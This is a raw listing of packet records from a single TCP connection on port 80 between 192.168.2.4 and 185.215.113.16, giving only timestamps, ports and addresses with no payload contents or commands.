Nov 18, 2024 17:23:29.921945095 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.922446012 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.932194948 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.932249069 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.932259083 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.932282925 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.932367086 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.977720022 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.977776051 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.977808952 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.977858067 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.977886915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.977920055 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.977935076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.977935076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.977972031 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.977972031 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.978090048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.978118896 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.978149891 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.978214025 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.978257895 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.978468895 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.980401039 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.980465889 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.980509043 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.980540991 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.980616093 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.983089924 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.983144999 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.983176947 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.983208895 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.032965899 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.037769079 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.037801027 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.037872076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.037908077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.037942886 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038001060 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.038090944 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038134098 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038183928 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038187981 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.038239002 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038270950 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038304090 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038338900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038341045 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.038341045 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.038599014 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038649082 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.038650990 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038686037 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038728952 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.038783073 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038815975 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038866997 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.038938999 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.038971901 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.039005041 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.039045095 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.039350986 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.039403915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.039407969 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.039438009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.039580107 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.039613008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.039653063 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.039654016 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.049756050 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.049789906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.049832106 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.049856901 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.094907999 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.094960928 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.095043898 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.095057964 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.095110893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.095144033 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.095181942 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.095240116 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.095240116 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.095290899 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.095356941 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.095379114 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.095412970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.095506907 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.097523928 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.097578049 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.097606897 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.097626925 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.097659111 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.097692966 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.097713947 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.100292921 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.100344896 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.100348949 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.100377083 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.100574970 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.155936003 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156044006 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156078100 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156136990 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.156193018 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156248093 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156280994 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156316042 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156322002 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.156322002 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.156446934 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156820059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156850100 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156876087 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.156883001 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156912088 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.156919003 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156948090 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.156989098 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.157418966 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.157452106 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.157478094 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.157486916 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.157521009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.157591105 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.157659054 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.157687902 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.157766104 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.158004045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.158054113 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.158087969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.158118010 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.158121109 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.158204079 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.158879042 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.158912897 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.158946991 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.158970118 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.158979893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.159003019 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.159014940 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.159048080 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.159082890 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.167431116 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.167464018 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.167499065 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.167526960 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.167567015 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.212275982 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.212332010 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.212366104 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.212399960 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.212415934 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.212452888 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.212486982 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.212495089 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.212600946 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.212635040 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.212654114 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.212697983 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.214904070 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.214956045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.214988947 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.215044975 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.217540026 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.217616081 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.217659950 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.217690945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.217725039 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.217751026 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.267257929 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.272911072 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.272965908 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.272999048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.273036957 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.273662090 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.273714066 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.273749113 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.273803949 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.273803949 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.273855925 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.273889065 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.273921967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.273957014 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.273974895 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.274010897 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274039984 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274066925 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.274091959 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274123907 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274157047 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274162054 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.274162054 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.274425983 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274532080 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274583101 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274597883 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.274616957 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274638891 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.274651051 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274938107 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.274993896 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.275033951 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.275093079 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.275125980 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.275158882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.275192976 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.275227070 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.275250912 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.275286913 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.275471926 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.275525093 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.275557041 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.275625944 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.285027981 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.285059929 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.285092115 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.285135984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.285135984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.330734968 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.330893993 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.330928087 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331065893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331084013 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.331099987 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331134081 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331141949 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.331203938 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331238985 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331283092 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.331283092 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.331388950 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331422091 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331453085 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.331530094 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.333210945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.333242893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.333302021 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.333348989 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.333420038 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.334572077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.334604025 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.334638119 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.334682941 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.376509905 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.390221119 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.390429020 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.390464067 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.390501022 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.391697884 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.391756058 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.391793013 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.391854048 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.391854048 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.391922951 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.391957045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.391992092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392026901 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392033100 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.392148018 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.392198086 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392231941 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392268896 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392398119 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.392442942 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392477036 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392510891 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392544031 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392580986 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392587900 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.392587900 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.392644882 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.392728090 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392762899 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392831087 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392896891 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.392941952 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.392976999 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.393008947 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.393045902 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.393080950 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.393115997 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.393155098 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.393155098 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.401930094 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.401984930 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.402018070 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.402029991 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.449446917 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449482918 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449518919 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449543953 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.449572086 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449593067 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.449610949 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449645042 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449680090 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449701071 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.449716091 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449727058 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.449750900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449784994 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.449834108 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.450424910 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.450479984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.450579882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.450613976 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.451881886 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.453182936 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.453217030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.453252077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.453265905 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.453336954 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.453386068 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.453486919 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.501481056 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.508933067 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.508951902 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.508968115 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.509021997 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.509857893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.509872913 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.509888887 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.509928942 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.509951115 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.509968042 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.509980917 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510004997 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510020018 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510035038 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.510035992 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510052919 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510066986 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510067940 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.510082960 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510097980 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510103941 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.510114908 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510128975 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:30.510138035 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:30.510143995 CET	80	49743	185.215.113.16	192.168.2.4
